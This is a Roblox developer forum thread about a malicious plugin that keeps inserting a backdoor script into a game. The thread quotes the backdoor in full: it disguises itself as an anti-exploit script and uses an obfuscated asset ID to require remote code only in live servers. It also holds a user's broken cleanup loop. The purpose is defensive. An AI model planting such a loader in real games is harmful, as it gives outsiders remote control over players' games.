Anti Malicious Plugin Script-script?

I want to create a script that can destroy this random script , that keeps randomly being parented to parts and is called Debounce or fix, it keeps changing its name, and it is only inserted once the game runs.

image

it’s (malicious ) code :

--This an script of ROBLOX Studio. Do not delete it, this script secures your game from exploiters.

--Thanks.

if not game:GetService("RunService"):IsStudio() then
require((397.86020086+0.00000400)*9305953)
end

First of all it’s already clear that it’s a malicious/virus script.
and also when you solve 397.86020086+0.00000400)*9305953)
then it gives --https://www.roblox.com–/library/3702468367/ab Please do not visit this link, it is only provided to show what the virus script requires into the game.
So anyways since I don’t know how to script an anti virus script, I came up with this very ineffective and defunct script

local target = workspace:GetDescendants()
for _,t in pairs (target)
do  
	
local x =  t:FindFirstAncestorOfClass("Script")
for x,d in pairs do 
	local g = d:GetChildren()
     for 
g,loopedclass in pairs (g) do
print(2)	
       if  loopedclass.Name=="Fix"
then loopedclass:Destroy()
	print(3)

end

**Don’t know how to loop for this specific case

3 Likes

I don’t exactly know why you are looking at the trouble of deleting your issue via a script, especially when a backdoor is not forcely only called “Fix”, it could change anytime upon plugin update,

Just look which plugin adds random script and remove it permanently.

3 Likes

I assume your main problem is how would you make the script work, but as for the first problem, can’t you find the malicious plugin or module that’s causing this?

1 Like

oh, yeah i forgot to update that, but i’ve got a lot of plugins and can’t seem to point out which one is causing all that trouble.

So you’re saying that it’s valid to let users still have it easy and just update their plugin to bypass your anti-backdoor ?

You’ll have to reorganize your plugins, no matter what you say, there is no way you have 50 plugins and use them all commonly

4 Likes

Here is an idea: click the link that goes to the module, the guy who has the module is porbably the one that made the plugin

So I have taken a look, and it seems like this guy has a lot of plugins xd
https://www.roblox.com/users/1211907068/inventory/#!/plugins
Check them out and see the one that you have

2 Likes

So you’ve found yourself dealing with an XY problem. You have an infected plugin that is inserting scripts and you want to create a script that automatically removes these inserted scripts, but your script remover is encountering troubles.

Search through your plugins and remove the infected one instead of trying to do something like this, as it’s not necessary in any capacity. That’s the only real resolution to this problem. Isolate your plugins one by one, search their sources, verify the creators, anything. Just not this script.

2 Likes

Thanks for the tip ,I think after isolating one of them called " 3D Text Maker 3D Text" I got rid of the infection

1 Like

Always be careful of what plugins you add to your game. For all you know, it’s sending valuable information back to the plugin creators server or some other similar situation.

3 Likes